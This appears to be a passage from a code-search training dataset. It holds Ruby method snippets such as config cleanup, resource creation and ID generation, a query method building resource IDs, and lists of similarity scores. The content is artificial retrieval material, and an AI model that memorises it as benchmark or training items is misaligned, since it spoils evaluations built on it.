The LANGUAGE_PACK_URL config var is still set and will be used for the next release\"\n else\n display \"Buildpack unset. Next release on #{app} will detect buildpack normally.\"\n end\n end", "def delete_all_configurations\n super\n end", "def delete_all_configurations\n super\n end", "def clean_storeconfigs(node, do_unexport=false)\n return unless Puppet[:storeconfigs] && Puppet.features.rails?\n require 'puppet/rails'\n Puppet::Rails.connect\n unless rails_node = Puppet::Rails::Host.find_by_name(node)\n Puppet.notice \"No entries found for #{node} in storedconfigs.\"\n return\n end\n\n if do_unexport\n unexport(rails_node)\n Puppet.notice \"Force #{node}'s exported resources to absent\"\n Puppet.warning \"Please wait until all other hosts have checked out their configuration before finishing the cleanup with:\"\n Puppet.warning \"$ puppet node clean #{node}\"\n else\n rails_node.destroy\n Puppet.notice \"#{node} storeconfigs removed\"\n end\n end", "def get_env_mappings()\n {\n 'prd' => 'production',\n 'prv' => 'preview',\n 'rev' => 'review',\n 'stg' => 'staging',\n 'qa' => 'qa',\n 'dev' => 'development',\n 'dvp' => 'devops',\n }\nend", "def remove_dependent_entries\n product = self.product\n variants = (product.variants.present? ? product.variants : product.master)\n product.stock_products.where(:sellers_market_places_product_id=>self.id).destroy_all\n #product.title_managements.where(:market_place_id=>self.market_place_id).destroy_all\n #product.description_managements.where(:market_place_id=>self.market_place_id).destroy_all\n #variants.each do |variant|\n # variant.price_managements.where(:market_place_id=>self.market_place_id).destroy_all\n #end\n end", "def normalize_config(config)\n entity_count = 1\n required_names = [\"class\"]\n config.each do |entity_config|\n required_names.each do |name|\n if entity_config[name].nil?\n raise RuntimeError, \"Entity #{entity_config.pretty_inspect} missing #{name}!\"\n end\n end\n\n begin\n real_class = constant(entity_config[\"class\"])\n entity_config[\"real_class\"] = real_class\n rescue NameError\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} unrecognized. Missing require?\"\n end\n\n entity_config[\"select_by\"] = \"primary_key\" if entity_config[\"select_by\"].nil?\n\n unless entity_config[\"edit_command\"].nil?\n if entity_config[\"edit_config\"].nil?\n raise RuntimeError, \"Class: #{item[\"class\"]} has an edit_command but no edit_config!\"\n end\n end\n\n if entity_config[\"listable?\"]\n if entity_config[\"list_as\"].nil?\n if not entity_config[\"plural_name\"].nil?\n entity_config[\"list_as\"] = entity_config[\"plural_name\"]\n elsif not entity_config[\"edit_command\"].nil?\n entity_config[\"list_as\"] = entity_config[\"edit_command\"] + \"s\"\n else\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} marked listable, \" +\n \"but without a list name!\"\n end\n end\n end\n entity_count += 1\n end\n\n #fields pass - so that relations can reuse entity defs\n config.each do |entity_config|\n fields_config = entity_config[\"edit_config\"]\n next if fields_config.nil?\n\n fields_config[\"simple_fields\"]||=[]\n fields_config[\"simple_fields\"].each do |field_config|\n if field_config[\"field_name\"].nil?\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} field missing field_name!\"\n end\n\n field_config[\"name\"]||=field_config[\"field_name\"]\n end\n\n fields_config[\"single_relations\"]||=[]\n fields_config[\"single_relations\"].each do |relation_config|\n if relation_config[\"field_name\"].nil?\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} relation \" +\n \"missing field_name!\"\n end\n\n relation_config[\"name\"]||=relation_config[\"field_name\"]\n if relation_config[\"target\"].nil?\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} relation \" +\n \"#{relation_config[\"name\"]} has no target!\"\n end\n\n relation_config[\"target\"][\"select_by\"]||=\"name\"\n end\n\n fields_config[\"many_relations\"]||=[]\n fields_config[\"many_relations\"].each do |relation_config|\n if relation_config[\"field_name\"].nil?\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} field missing field_name!\"\n end\n\n relation_config[\"name\"]||=relation_config[\"field_name\"]\n\n if relation_config[\"target\"].nil?\n raise RuntimeError, \"Class: #{entity_config[\"class\"]} relation \" +\n \"#{relation_config[\"name\"]} has no target!\"\n end\n\n relation_config[\"target\"][\"select_by\"]||=\"name\"\n unless Class === relation_config[\"target\"][\"real_class\"]\n if relation_config[\"target\"][\"class\"].nil?\n raise RuntimeError,\n \"Class: #{entity_config[\"class\"]} relation \" +\n \"#{relation_config[\"name\"]} target has no class!\"\n else\n relation_config[\"target\"][\"real_class\"] =\n constant(relation_config[\"target\"][\"real_class\"])\n end\n end\n end\n end\n end", "def clean_up\n #Delete every thing but the most recent config[:screenshot_max_keep] screenshots\n max_screenshots = self.config[:screenshot_max_keep] || 5\n #Delete the last created one while they count is more then the max\n while self.admo_screenshots.count > max_screenshots\n self.admo_screenshots.order_by('created_at asc').first.destroy\n end\n end", "def environments\n @environments ||= [:production]\n end", "def clean_unsaturated\n if !max.empty? && max.text_value.to_i > 0\n builder.if_ \"#{accumulator_var}.size < #{max.text_value}\" do\n builder << '@terminal_failures.pop' # Ignore the last failure.\n end\n end\n end", "def format_config_value(key, value)\n case key.to_sym\n when :daily_scheduled_tasks\n return value.select(&:present?).map(&:to_sym)\n when :feedback_overdue_days, :max_walk_minutes, :maximum_booking_notice\n return value.to_i\n when :require_user_confirmation\n return (value == \"true\")\n when :trapeze_ada_funding_sources\n return value.delete(' ').split(',')\n else\n return value\n end\n end", "def delete_at index\n @config.delete_at index\n end", "def clean_env!\n ENV.replace(@base_env.dup)\n scrub_env(ENV)\n if(defined?(Bundler))\n Bundler.with_clean_env{ yield }\n else\n yield\n end\n end" ]
[ "0.5722308", "0.55099183", "0.5409661", "0.5357589", "0.53163356", "0.52056587", "0.519796", "0.51763976", "0.51717883", "0.50990146", "0.50011265", "0.4983575", "0.48793823", "0.48767668", "0.48736015", "0.48455107", "0.4841766", "0.4820523", "0.48196575", "0.48183587", "0.47985765", "0.4788731", "0.4784924", "0.47809353", "0.47806463", "0.47739762", "0.47510442", "0.47438902", "0.4730365", "0.47269723", "0.47260818", "0.47212863", "0.47180647", "0.47146702", "0.47145504", "0.47059348", "0.46701616", "0.46407637", "0.4635532", "0.46222892", "0.4619449", "0.46048856", "0.4600622", "0.4600447", "0.45927903", "0.458868", "0.45845392", "0.45739543", "0.45677143", "0.45561737", "0.4542673", "0.45376575", "0.45344236", "0.45309433", "0.45293775", "0.45236024", "0.45225427", "0.45202282", "0.45192504", "0.45075548", "0.450514", "0.44953814", "0.44925097", "0.44878736", "0.4480194", "0.4477275", "0.4470935", "0.4468819", "0.4468819", "0.44669616", "0.4466175", "0.44592577", "0.44565773", "0.44505084", "0.44504195", "0.44440335", "0.4441883", "0.4439996", "0.44370177", "0.44332686", "0.44298935", "0.4428326", "0.4428326", "0.4424051", "0.44222564", "0.44160995", "0.44080162", "0.43978673", "0.4396005", "0.43920368", "0.43920368", "0.43916842", "0.4391602", "0.43792972", "0.4376086", "0.43741906", "0.43732432", "0.43731445", "0.43716797", "0.43696678", "0.43644732" ]
0.0
-1
A unique id for resources for this node
def resource_id(prefix) if default_config? [prefix, project, node_type, node_name] else [prefix, project, configuration, node_type, node_name] end.compact.join("_").tr("-", '_').tr("/", "_") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def physical_resource_id\n \"#{self.class.name.split('::').last}-#{Carnivore.uuid}\"\n end", "def resource_id\n return \"%s:%s\" % [self.resource_type, self.id]\n end", "def node_id\n jid.resource\n end", "def resource_id\n send self.class.resource_id\n end", "def id\n \"p-#{resource.id}\"\n end", "def id\n @node.id\n end", "def unique_id\n id = {}\n %w(uri name id providerDisplayName credentials providerUri poolName).each { |key| id[key] = @data[key] if @data[key] }\n raise 'A unique identifier for the resource must be declared in data for the current operation' if id.empty?\n id\nend", "def resource_id\n return @resource_id\n end", "def resource_id\n return @resource_id\n end", "def resource_id\n return @resource_id\n end", "def id\n @id ||= node.attr :tid\n end", "def node_id()\n @node_id ||= Config.slanger_id || SecureRandom.uuid\n end", "def generate_node_id\n # a little bit more creative\n if @registry.respond_to? :unique\n @registry.unique\n else\n digest = Digest::SHA512.new\n seed = Socket.gethostname + rand.to_s + Time.now.to_s + SecureRandom.hex\n digest.update(seed).to_s\n end\n end", "def __object_unique_id__\n name\n end", "def __object_unique_id__\n name\n end", "def id\n Resource::ALL\n end", "def id\n Resource::ALL\n end", "def unique_id\n object_id.abs.to_s(16)\n end", "def resource_id=(value)\n @resource_id = value\n end", "def resource_id=(value)\n @resource_id = value\n end", "def resource_id=(value)\n @resource_id = value\n end", "def id\n @id ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(2) ]\n end", "def new_resource_id!\n uuid = Viziwiki::new_uuid\n # TODO write lock with create only\n #do\n # uuid = Viziwiki::new_uuid\n #unless lock_resource (uuid)\n uuid\n end", "def id\n special_attribute('@rid'.freeze)\n end", "def identifier\n rdf_resource\n end", "def resource_id\n @arn\n end", "def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end", "def persistent_resource_id(resource)\n # FIXME: this contains some duplication of Seek::Rdf::RdfGeneration#rdf_resource - however not every model includes that Module at this time.\n # ... its also a bit messy handling the version\n url = if resource.is_a_version?\n polymorphic_url(resource.parent, version: resource.version, **Seek::Config.site_url_options)\n else\n polymorphic_url(resource, **Seek::Config.site_url_options)\n end\n\n content_tag :p, class: :id do\n content_tag(:strong) do\n t('seek_id') + ':'\n end + ' ' + link_to(url, url)\n end\n end", "def globally_unique_identifier\n super\n end", "def prefixed_id\n \"p-#{resource.id}\"\n end", "def persistent_resource_id(resource)\n url = polymorphic_url(resource)\n content_tag :p, class: :id do\n content_tag(:strong) do\n \"#{Seek::Config.application_name} ID: \"\n end + ' ' + link_to(url, url)\n end\n end", "def object_id() end", "def identity_resource_identifier\n return @identity_resource_identifier\n end", "def resource_id\n\t\t\t\t\treturn self.send(self.class.resource_id_column)\n\t\t\t\tend", "def id\n @attributes[\"#{self.class.to_s.split('::').last.underscore.downcase}_id\".to_sym]\n end", "def uuid\n idme_uuid\n end", "def neo_node_id\n @internal_node.getId()\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def __object_unique_id__\n return @args[:data][:Key_name]\n end", "def _id\n @id\n end", "def file_id\n # If the file name exceeds the maximum length, then generate an MD5 to truncate the end of the file name.\n result = \"#{@node}_#{@environment}\"\n if result.size > MAX_FILE_ID_SIZE\n # Truncate it, but add a unique ID in it.\n result = \"-#{Digest::MD5.hexdigest(result)[0..7]}\"\n result = \"#{@node}_#{@environment}\"[0..MAX_FILE_ID_SIZE - result.size - 1] + result\n end\n result\n end", "def resource_id_column\n\t\t\t\t\t\traise \"Not implemented.\"\n\t\t\t\t\tend", "def uwt_id\n GraphQL::Schema::UniqueWithinType.encode(self.class.name, id)\n end", "def object_identifier\n [\"#{self.class.name}\", (id.nil? ? nil : \"##{id}\"), \":0x#{self.object_id.to_s(16)}\"].join\n end", "def urn_id; :id end", "def urn_id; :id end", "def id()\n #This is a stub, used for indexing\n end", "def id\n @uid\n end", "def dom_id\n \"_#{self.object_id}\"\n end", "def create_id(parent)\n \"#{parent}/#{noid_service.mint}\"\n end", "def uniqid\n SecureRandom.hex(32)\n end", "def uniqid\n SecureRandom.hex(32)\n end", "def node_id(r)\n r.send(data_class.primary_key)\n end", "def id\n object.external_id\n end", "def id\n [owner.id, schema_id.to_s].join(\"/\")\n end", "def new_id\n id = (@xid_next ||= 0)\n @xid_next += 1\n\n (id & @internal.resource_id_mask) | @internal.resource_id_base\n end", "def id\n name.gsub /-/, '_'\n end", "def id\n new_resource.bucket_name || new_resource.name\n end", "def dom_id\n node['id']\n end", "def unique_id\n \"#{@table.name}-#{@id}\"\n end", "def id_generator; end", "def id_of(resource_type, resource_name)\n output_of(resource_type, resource_name, :id)\n end", "def node_uuid\n path = File.expand_path(Chef::Config[:chef_guid_path])\n dir = File.dirname(path)\n\n unless File.exist?(path)\n FileUtils.mkdir_p(dir)\n File.write(path, SecureRandom.uuid)\n end\n\n File.open(path).first.chomp\n end", "def id\n __id\n end", "def unique_id #:nodoc:\n @unique_id = (@unique_id || 0) + 1\n end", "def id\n source_node[:id]\n end", "def id\n object.id.to_s\n end", "def id() end", "def cache_id\n \"#{self.class.name.underscore}:#{self.id}\"\n end", "def identifier\n @identifier ||= \"#{ATTRIBUTE_PREFIX}.#{Model::to_id @schema_ref}.#{Model::to_id @reference}\"\n end", "def id\n @id || self.class.name.underscore.split('/').last #gsub('/', '_')\n end", "def id\n self[:identifier]\n end", "def rhizome_unique_id\n \"#{rhizome_type_name},#{rhizome_eid}\"\n end", "def link_id\n names = @resources.map do |resource|\n case resource\n when Class\n resource.name.pluralize.downcase\n else\n resource.class.name.downcase\n end\n end\n \"menu_#{names.join('_')}_link\"\n end", "def unique_identifiers\n [:name, :path]\n end", "def id\n @json['uuid']\n end", "def assign_id\n self.id = self.class.identifier(self.module, resource, action)\n end", "def id\n (read_property 'Id') || name\n end", "def id\n @__metadata__.key || @id\n end", "def generate_id()\n return nil unless @name and @represents\n @id ||= Digest::SHA1.hexdigest(@name + @represents)[0..5].force_encoding('utf-8').to_s\n end", "def resource_id\n self.end_user_login\n end", "def dom_id\n\t\tnode['id']\n\tend", "def dom_id\n \"#{self.class.name.gsub(/:+/,\"_\")}_#{self.object_id}\"\n end", "def uuid\n @keystore[:id]\n end", "def key_for(node)\n \"#{id}-#{node.id}\"\n end", "def uuid; end", "def uuid; end", "def ext_id id\n \"#{@master_node}|#{id}\"\n end", "def id\n name\n end", "def resource_uri\n \"#{resource_name}/#{uid}\"\n end", "def db_cluster_resource_id\n data[:db_cluster_resource_id]\n end", "def generate_id\n Util::UUID.generate\n end", "def id\n name.gsub(':', '-')\n end", "def get_id(node)\n node.parent.parent.attributes[\"id\"].value\n end", "def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id @schema.title}.#{Model::to_id name}\"\n end", "def uuid\n @connection.uuid\n end", "def id; end", "def id; end" ]
[ "0.77508366", "0.7495844", "0.7364517", "0.7327797", "0.7320755", "0.70693046", "0.70303994", "0.7025603", "0.7025603", "0.7025603", "0.70252043", "0.70105344", "0.69328177", "0.68627316", "0.68627316", "0.672992", "0.672992", "0.6709207", "0.67071104", "0.67071104", "0.67071104", "0.6704573", "0.6679125", "0.66707444", "0.6626736", "0.6611909", "0.6608953", "0.65995574", "0.65774715", "0.65746003", "0.65619045", "0.65534526", "0.6551777", "0.65365607", "0.6525507", "0.6511925", "0.6506011", "0.646926", "0.646926", "0.6460666", "0.646049", "0.64484406", "0.6447611", "0.6440179", "0.6430084", "0.6409479", "0.6409479", "0.6409218", "0.64062864", "0.6385643", "0.6376338", "0.6374653", "0.6374653", "0.6372373", "0.6370495", "0.6361398", "0.635501", "0.634753", "0.6345312", "0.6337181", "0.633157", "0.6329658", "0.6329346", "0.63244015", "0.63112646", "0.6297836", "0.62966657", "0.62955576", "0.6292879", "0.62648565", "0.62593174", "0.6254579", "0.6252278", "0.6241425", "0.62388027", "0.6226997", "0.6222948", "0.62144774", "0.62138736", "0.62122524", "0.6212073", "0.62107396", "0.6192876", "0.61817724", "0.6181107", "0.6180222", "0.61792547", "0.61792547", "0.6162864", "0.6161935", "0.6155931", "0.6144783", "0.61392885", "0.6132987", "0.61304647", "0.6129274", "0.61218685", "0.61093485", "0.61093485" ]
0.70646626
7
TO BE IMPLEMENTED BY NODE_TYPES defines the preconditions and defaults fo use of this node
def json_schema raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def required_defaults; end", "def node_type; end", "def node_type; end", "def initialize_node(options={})\n raise NotImplementedError\n end", "def preconditions\n raise NotImplemented\n end", "def node=(_arg0); end", "def init_node\n end", "def init_node\n end", "def initialize\n @use_tree_model = :self\n @default_taxonomy_require_both = true\n end", "def initialize(op_data = {})\n @@log.debug {\"Node Element Initialized with: #{op_data.inspect}\"} if @@log.debug?\n \n #set the module with the operation definition and include them\n @ops_set_module = op_data[:op_sets_mod] ||DefaultOpSets\n self.class.__send__(:include, @ops_set_module) #why is this private? am I doing something wrong?\n \n #set the mapping between fields and the type of operations supported by those fields\n @field_op_set_sym = DefaultFieldOpSet.merge(op_data[:field_op_set] || {})\n @@log.info {\"Field Operations Set: #{@field_op_set_sym.inspect}\"} if @@log.info?\n @field_op_defs = get_field_op_procs(@field_op_set_sym)\n \n #set the key fields that will work as node/record identifiers or other key fields\n @key_fields = op_data[:key_fields]||DefaultKeyFields\n raise \"key_fields are required\" unless @key_fields\n\n #we are no longer differentiating between keys required for insantiation and persistence\n #this can be added in the future easily though.\n @required_instance_keys = @key_fields[:required_keys]\n @required_save_keys = @key_fields[:required_keys]\n @node_key = @key_fields[:primary_key]\n @views = default_views(@field_op_set_sym) #TODO: Allow custom views in the future\n end", "def node=(_); end", "def node=(_); end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def node; end", "def required; end", "def required; end", "def required; end", "def declaration_node; end", "def argument_node; end", "def nodes_field\n define_nodes_field\n end", "def allowed_type?(parent_node); end", "def required_by_default?; end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def setup\n # setup node w/ attribute\n @crowbar = Barclamp.import_1x 'crowbar'\n assert_not_nil @crowbar\n assert_not_nil @crowbar.template\n assert_equal 2, @crowbar.template.role_instances.count\n @role = @crowbar.template.public_roles.first\n assert_not_nil @role\n \n @node1 = Node.find_or_create_by_name :name=>\"units.example.com\"\n @node2 = Node.find_or_create_by_name :name=>\"tests.example.com\"\n assert_not_nil @node1\n assert_not_nil @node2\n # manual assign\n @hasnode1 = BarclampCrowbar::AttribInstanceHasNode.create :role_instance_id=>@role.id, :node_id=>@node1.id\n assert_not_nil @hasnode1\n assert_instance_of BarclampCrowbar::AttribInstanceHasNode, @hasnode1\n assert @hasnode1.is_a? AttribInstance\n assert_equal HAS_NODE, @node1.attrib_instance_has_nodes.first.attrib.name\n assert_equal @role.id, @hasnode1.role_instance_id\n # Ruby 1.8 and 1.9 throws different exceptions in this case, so handle it\n # accordingly. Simplify once we remove 1.8 support.\n @error_class = (RUBY_VERSION == '1.8.7') ? NameError : ArgumentError\n end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def defaults; end", "def preconditions\n !column.null && column.default.nil? && !primary_field? && !timestamp_field? && !column.default_function\n end", "def raw_node; end", "def initialize(node, discount_repeated_attributes: T.unsafe(nil)); end", "def variable_node; end", "def constraints; end", "def constraints; end", "def constraints; end", "def defaults\n self.behaviour_evaluated = false if self.behaviour_evaluated.nil?\n self.special_needs_ok = false if self.special_needs_ok.nil?\n self.long_term_resident = false if self.long_term_resident.nil?\n self.senior = false if self.senior.nil?\n end", "def initialize(*args)\n super\n @value = @args.first\n @blocks = {}\n @current_case = nil\n @default = NodeList.new(self)\n end", "def for_node; end", "def child_node=(_); end", "def create_node(type, properties = T.unsafe(nil)); end", "def initialize(semantic_value, *types)\n super(types)\n raise ArgumentError, \"Semantic value of leaf nodes may not be a Node\"\\\n if Node===semantic_value\n @semantic_value = semantic_value\n end", "def child_node; end", "def on_def(node); end", "def build\n raise \"Nodes must implement #build\"\n end", "def requirements=(_arg0); end", "def requirements=(_arg0); end", "def root_node; end", "def nil_node(t)\n raise NotImplementedError\n end", "def default_rule; end", "def nodes; end", "def nodes; end", "def nodes; end", "def set_default_attrs\n self.state = 'Texas' if self.respond_to? :state\n self.origin = 'hunted' if self.respond_to? :origin\n self.gender = 'male' if self.respond_to? :gender\n if self.respond_to? :parts\n parts = Part::NAMES.map { |part_name| {name: part_name} }\n parts << { other: true }\n self.parts = parts\n end\n if self.respond_to? :taxidermy_parts\n taxidermy_parts = self.class::DEFAULT_TAXIDERMY_PARTS.map { |part_name| {name: part_name} }\n taxidermy_parts << { other: true }\n self.taxidermy_parts = taxidermy_parts\n end\n self\n end", "def set_defaults\n self.condition_estimation_type_id ||= 1\n self.condition_threshold ||= 2.5\n end", "def is_node?(); @type == GRT_NODE; end", "def required_positionals; end", "def node_type() ; info[:node_type] ; end", "def node_type() ; info[:node_type] ; end", "def initialize(major, minor, tiny, pre = T.unsafe(nil)); end", "def is_nodetype?(); @type == GRT_NODETYPE; end", "def calc_node_meta(nodes)\n # Start out assuming we're in code. This is also what the Rux parser\n # does.\n in_code = true\n\n nodes.each_with_object([]) do |child_node, memo|\n next unless is_node?(child_node)\n\n stype = send_type_for(child_node)\n replacement = rewrite(child_node)\n\n memo << NodeMeta.new(child_node, stype, replacement, in_code)\n\n case stype\n when :string\n if tag_start?(replacement)\n # If we're inside an HTML tag, that must mean we're not in a\n # code block anymore.\n in_code = false\n end\n when :code\n in_code = true\n end\n end\n end", "def constraints\n super\n end", "def default_values\n\t\tself.status = 0 unless self.status\n\t\tself.tagged = 0 unless self.tagged\n\t\tself.searched = 0 unless self.searched\n\tend", "def default_definition() {} end", "def overrides; end", "def required_parameters\n must_be_defined_in_derived_class\n end", "def defaults\n super\n end" ]
[ "0.6294588", "0.6159703", "0.6159703", "0.60481805", "0.5974115", "0.5894277", "0.58881605", "0.58881605", "0.5883955", "0.57190776", "0.5678983", "0.5678983", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5660285", "0.5591368", "0.5591368", "0.5591368", "0.55862534", "0.55500036", "0.5549975", "0.55151993", "0.5496545", "0.54867685", "0.54867685", "0.54867685", "0.54867685", "0.5481724", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54753715", "0.54679036", "0.5444885", "0.5442247", "0.5426066", "0.5420043", "0.5420043", "0.5420043", "0.5398084", "0.53775585", "0.53607917", "0.53532064", "0.5344973", "0.5342404", "0.53045005", "0.527456", "0.5267022", "0.5253352", "0.5253352", "0.5250317", "0.5249396", "0.5246475", "0.5237774", "0.5237774", "0.5237774", "0.52311456", "0.52210253", "0.5217453", "0.52046263", "0.52036625", "0.52036625", "0.5201012", "0.5192985", "0.5183176", "0.518276", "0.51640743", "0.5156865", "0.5151876", "0.5148659", "0.5144286" ]
0.0
-1
create resources is used to create the resources needed
def create_resources(project) raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setup(resources) ; end", "def create(resources)\n #resources[0].model.last_query = resources\n counter = 0\n resources.each do |resource|\n fm_params = prepare_fmp_attributes(resource.dirty_attributes)\n rslt = layout(resource.model).create(fm_params)\n merge_fmp_response(resource, rslt[0])\n counter +=1\n end\n counter\n end", "def create(resources)\n raise NotImplementedError, \"#{self.class}#create not implemented\"\n end", "def create(resources)\n adapter.create(resources)\n end", "def create(resources)\n adapter.create(resources)\n end", "def create_default_resources\n resources = [:timber, :iron, :gold, :copper, :diamond, :clay, :marble,\n :coal, :oil, :gas, :water, :uranium]\n @resources = []\n resources.each do |r|\n @resources << Resource.new(r, 1000)\n end\n end", "def createParallel(*resources)\n if ! advance? then return self end\n @@logger.debug \"Launching resource(s) in parallel #{resources.join(',')}.\"\n resources.each do |resource|\n resource = @resourcer.get resource_name\n created = @mutator.create(resource_name, resource)\n created.harp_script = @harp_script\n result = {:create => resource_name}\n args = {:action => :create}\n if created.output? (args)\n result[:output] = created.make_output_token(args)\n result[:line] = @current_line\n end\n @events.push(result)\n created.save\n end\n return self\n end", "def create(resources)\n created = 0\n resources.each do |resource|\n response = connection.http_post(resource_name(resource), resource.to_xml)\n populate_resource_from_xml(response.body, resource)\n\n created += 1\n end\n\n created\n end", "def create\n Puppet.debug( \"#{self.resource.type}: CREATE #{resource[:name]}\" ) \n end", "def create(resources)\n created = 0\n resources.each do |resource|\n model = resource.model\n serial = model.serial\n class_name = class_name(model)\n @log.debug(\"About to create #{model} backed by #{class_name} using #{resource.attributes}\")\n\n begin\n create_url = build_create_url(class_name)\n page = @agent.get(create_url) \n form_id = build_form_id(class_name.to_sym, :create_form_id)\n the_form = page.form_with(:id => form_id)\n the_properties = resource.attributes(key_on=:field).reject{|p,v| v.nil? }\n create_form = fill_form(the_form, the_properties, class_name)\n @log.debug(\"Create form is #{create_form.inspect}\")\n response = @agent.submit(create_form)\n @log.debug(\"Result of actual create call is #{response.code}\")\n if response.code.to_i == 302\n redirect_location = response.header['location']\n @log.debug(\"Redirect location is #{redirect_location}\")\n id = redirect_location.split('/').last.to_i #TODO: proper cast\n @log.debug(\"Newly created instance id is #{id}\")\n unless id.nil?\n serial.set(resource,id)\n created += 1\n end\n end\n rescue => e\n trace = e.backtrace.join(\"\\n\")\n @log.error(\"Failed to create resource: #{e.message}\") \n @log.error(trace) \n end\n end\n created\n end", "def build_environment_resources(environment, system_exec)\n puts \"Building all required resources for environment '#{environment.environment_name}'\"\n\n if environment.is_drupal_environment?\n build_css_and_js_for_drupal\n environment.create_template_resources\n end\n\n copy_project_dependencies_for_awestruct_image\n build_base_docker_images(environment, system_exec)\n build_environment_docker_images(environment, system_exec)\n\nend", "def create_zero_build_resources(build_path)\n write_zero_conf(build_path)\n\n ['environments', 'data_bags', 'cookbooks', 'roles'].each do |p|\n r = Chef::Resource::Directory.new(::File.join(build_path, p), run_context)\n r.recursive(true)\n r.run_action(:create)\n end\n\n write_build_data_bags(::File.join(build_path, 'data_bags'))\n write_build_environments(::File.join(build_path, 'environments'))\n write_build_cookbooks(::File.join(build_path, 'cookbooks'))\n write_build_roles(::File.join(build_path, 'roles'))\n end", "def resource(*resources, &block); end", "def resources()\n end", "def create_resources(operator)\n iterate(operator.state) do |model, attrs|\n obj = model.new(name: attrs[:tags][:Name], # , instance_id: attrs[:id],\n # ami: attrs[:ami], public_ip: attrs[:public_ip], arn: attrs[:arn],\n config: attrs,\n provider: Provider.first, runtime: Runtime.first,\n provider_name: Provider.first.name, runtime_name: Runtime.first.name,\n )\n if obj.valid?\n obj.save\n else\n Cnfs.logger.warn(obj.errors)\n end\n # binding.pry\n end\n end", "def create_mission_resources\n get_instructions\n map_plateau\n land_rovers\n end", "def add_resources\n UI.message '- Adding resources' do\n refs = add_file_accessors_paths_to_pods_group(:resources, :resources, true)\n refs.concat add_file_accessors_paths_to_pods_group(:resource_bundle_files, :resources, true)\n add_known_regions(refs)\n end\n end", "def create\n\t\t\t# binding.pry\n\t\t\tresource = Resource.new(resource_params)\n\t\t\tstartup_profile = StartupProfile.find(params[:resource][:startup_profile_id])\n\t\t\tprogram = startup_profile.startup_registration.program\n\t\t\tprogram_director = User.find(program.program_director)\n\t\t\t# resource.startup_profile_id = startup_profile.id\n\t\t\t# resource.road_map_id = params[:road_map_id]\n\t\t\t# resource.milestone_id = params[:milestone_id]\n\t\t\tif resource.save!\n\t\t\t\tUserMailer.resource_request_to_admin(startup_profile,program,program_director,resource).deliver_later\n\t\t\t\tmilestone_resource_link = MilestoneResourceLink.new\n\t\t\t\tmilestone_resource_link.milestone_id = params[:milestone_id] \n\t\t\t\tmilestone_resource_link.resource_id = resource.id \n\t\t\t\tmilestone_resource_link.road_map_id = resource.road_map_id\n\t\t\t\tif milestone_resource_link.save!\n\t\t\t\t\trender json: resource,status: :ok\n\t\t\t\telse\n\t\t\t\t\trender json: milestone_resource_link.errors,status: :unprocessable_entity\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t# render json: {:errors => activity_response.errors}\n\t\t\t\trender json: resource.errors, status: :unprocessable_entity \n\t \n\t\t\tend\n\t\t\n\t\tend", "def addResources _obj, _args\n \"_obj addResources _args;\" \n end", "def create\n all = list_all_files_in_dir(@resource[:target])\n to_keep = select_all_matching(all, @resource[:whitelist])\n to_purge = get_files_to_purge(all, to_keep)\n purge_files(to_purge)\n end", "def create(name, attributes)\n attributes = attributes.dup\n\n # Add the objectclasses\n attributes[\"objectClass\"] = objectclasses.collect { |o| o.to_s }\n attributes[\"objectClass\"] << \"top\" unless attributes[\"objectClass\"].include?(\"top\")\n\n attributes[rdn.to_s] = [name]\n\n # Generate any new values we might need.\n generate(attributes)\n\n # And create our resource.\n connect { |conn| conn.add dn(name), attributes }\n end", "def create\n create_checkpoints\n create_config_base\n generate_deploy_files\n generate_hiera_template\n end", "def create(resources)\n connect if @persevere.nil?\n created = 0\n \n check_schemas\n \n resources.each do |resource|\n resource = Persevere.enhance(resource)\n serial = resource.model.serial(self.name)\n path = \"/#{resource.model.storage_name}/\"\n # Invoke to_json_hash with a boolean to indicate this is a create\n # We might want to make this a post-to_json_hash cleanup instead\n payload = resource.to_json_hash.delete_if{|key,value| value.nil? }\n DataMapper.logger.debug(\"(Create) PATH/PAYLOAD: #{path} #{payload.inspect}\")\n response = @persevere.create(path, payload)\n\n # Check the response, this needs to be more robust and raise\n # exceptions when there's a problem\n if response.code == \"201\"# good:\n rsrc_hash = JSON.parse(response.body)\n # Typecast attributes, DM expects them properly cast\n resource.model.properties.each do |prop|\n value = rsrc_hash[prop.field.to_s]\n rsrc_hash[prop.field.to_s] = prop.typecast(value) unless value.nil?\n # Shift date/time objects to the correct timezone because persevere is UTC\n case prop \n when DateTime then rsrc_hash[prop.field.to_s] = value.new_offset(Rational(Time.now.getlocal.gmt_offset/3600, 24))\n when Time then rsrc_hash[prop.field.to_s] = value.getlocal\n end\n end\n \n serial.set!(resource, rsrc_hash[\"id\"]) unless serial.nil?\n\n created += 1\n else\n return false\n end\n end\n\n # Return the number of resources created in persevere.\n return created\n end", 